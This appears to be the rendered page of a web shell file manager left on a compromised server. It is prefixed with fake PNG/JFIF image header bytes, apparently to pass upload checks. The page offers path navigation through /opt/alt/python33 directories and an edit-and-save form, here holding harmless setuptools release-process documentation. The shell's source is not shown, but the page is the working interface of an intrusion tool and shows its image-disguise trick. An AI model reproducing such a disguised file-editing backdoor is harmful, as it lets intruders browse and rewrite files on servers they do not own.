�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fopt%2F'>opt</a>/<a href='?path=%2Fopt%2Falt%2F'>alt</a>/<a href='?path=%2Fopt%2Falt%2Fpython33%2F'>python33</a>/<a href='?path=%2Fopt%2Falt%2Fpython33%2Fshare%2F'>share</a>/<a href='?path=%2Fopt%2Falt%2Fpython33%2Fshare%2Fdoc%2F'>doc</a>/<a href='?path=%2Fopt%2Falt%2Fpython33%2Fshare%2Fdoc%2Falt-python33-setuptools%2F'>alt-python33-setuptools</a>/<a href='?path=%2Fopt%2Falt%2Fpython33%2Fshare%2Fdoc%2Falt-python33-setuptools%2Fdocs%2F'>docs</a>/</p><hr><h3>✏️ Editing: releases.txt</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>===============
Release Process
===============

In order to allow for rapid, predictable releases, Setuptools uses a
mechanical technique for releases. The release script, ``release.py`` in the
repository, defines the details of the releases, and is executed by the
`jaraco.packaging &lt;https://bitbucket.org/jaraco/jaraco.packaging&gt;`_ release
module. The script does some checks (some interactive) and fully automates
the release process.

A Setuptools release manager must have maintainer access on PyPI to the
project and administrative access to the BitBucket project.

Release Managers
----------------

Currently, the project has one release manager, Jason R. Coombs.
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fopt%2Falt%2Fpython33%2Fshare%2Fdoc%2Falt-python33-setuptools%2Fdocs'>🔙 Back</a></p>